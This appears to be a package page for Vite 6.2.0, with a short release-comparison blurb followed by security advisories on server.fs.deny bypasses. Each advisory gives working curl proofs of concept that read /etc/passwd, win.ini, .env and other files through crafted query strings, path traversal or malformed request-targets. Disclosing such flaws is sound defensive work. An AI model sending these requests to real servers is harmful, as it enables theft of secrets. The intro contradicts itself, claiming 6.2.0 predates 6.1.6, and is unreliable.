Vite 6.2.0 introduces several refinements compared to its predecessor, version 6.1.6, impacting both the core dependencies and development utilities. A key difference lies in the updated esbuild dependency, moving from version 0.24.2 to 0.25.0. This upgrade likely incorporates performance improvements and bug fixes within the esbuild ecosystem, potentially leading to faster build times for Vite projects. In the realm of developer tools, there's a subtle update to the ws (WebSocket) dependency, advancing from version 8.18.0 to 8.18.1, suggesting minor bug or stability fixes in WebSocket communication.
Another notable change can be found in the nanoid dependency, upgrading from 5.1.0 to 5.1.2, usually implying improved ID generation or security enhancements. While seemingly small, changes like upgrading tinyglobby from 0.2.11 to 0.2.12 often bring essential bug resolutions and potentially even slight performance gains during file globbing operations. Moreover, the update of Vite also include the date of release, showing that version 6.2.0 was released before that the version 6.1.6. Developers should carefully assess these changes in the context of their projects, verifying compatibility with existing plugins and custom configurations to ensure a smooth transition. This version may include critical security patches from prior dependency vulnerabilities, encouraging developers to upgrade for improved security.
All the vulnerabilities related to the version 6.2.0 of the package
Vite bypasses server.fs.deny when using ?raw??
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
@fs
denies access to files outside of Vite serving allow list. Adding ?raw??
or ?import&raw??
to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ?
are removed in several places, but are not accounted for in query string regexes.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Vite has a server.fs.deny
bypassed for inline
and raw
with ?import
query
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
?inline&import
(originally reported as ?import&?inline=1.wasm?init
)?raw?import
/@fs/
isn't needed to reproduce the issue for files inside the project root.
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Vite allows server.fs.deny to be bypassed with .svg or relative paths
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
.svg
Requests ending with .svg
are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit
(default: 4kB) and when using Vite 6.0+.
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../
).
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Vite has an server.fs.deny
bypass with an invalid request-target
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Only apps with the following conditions are affected.
HTTP 1.1 spec (RFC 9112) does not allow #
in request-target
. Although an attacker can send such a request. For those requests with an invalid request-line
(it includes request-target
), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).
On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url
contains #
. Vite assumed req.url
won't contain #
when checking server.fs.deny
, allowing those kinds of requests to bypass the check.
On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url
did not contain #
.
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
Vite's server.fs.deny bypassed with /. for files under project root
The contents of files in the project root
that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root
and are denied by a file matching pattern can be bypassed.
.env
, .env.*
, *.{crt,pem}
, **/.env
**/.git/**
, .git/**
, .git/**/*
server.fs.deny
can contain patterns matching against files (by default it includes .env
, .env.*
, *.{crt,pem}
as such patterns).
These patterns were able to bypass for files under root
by using a combination of slash and dot (/.
).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173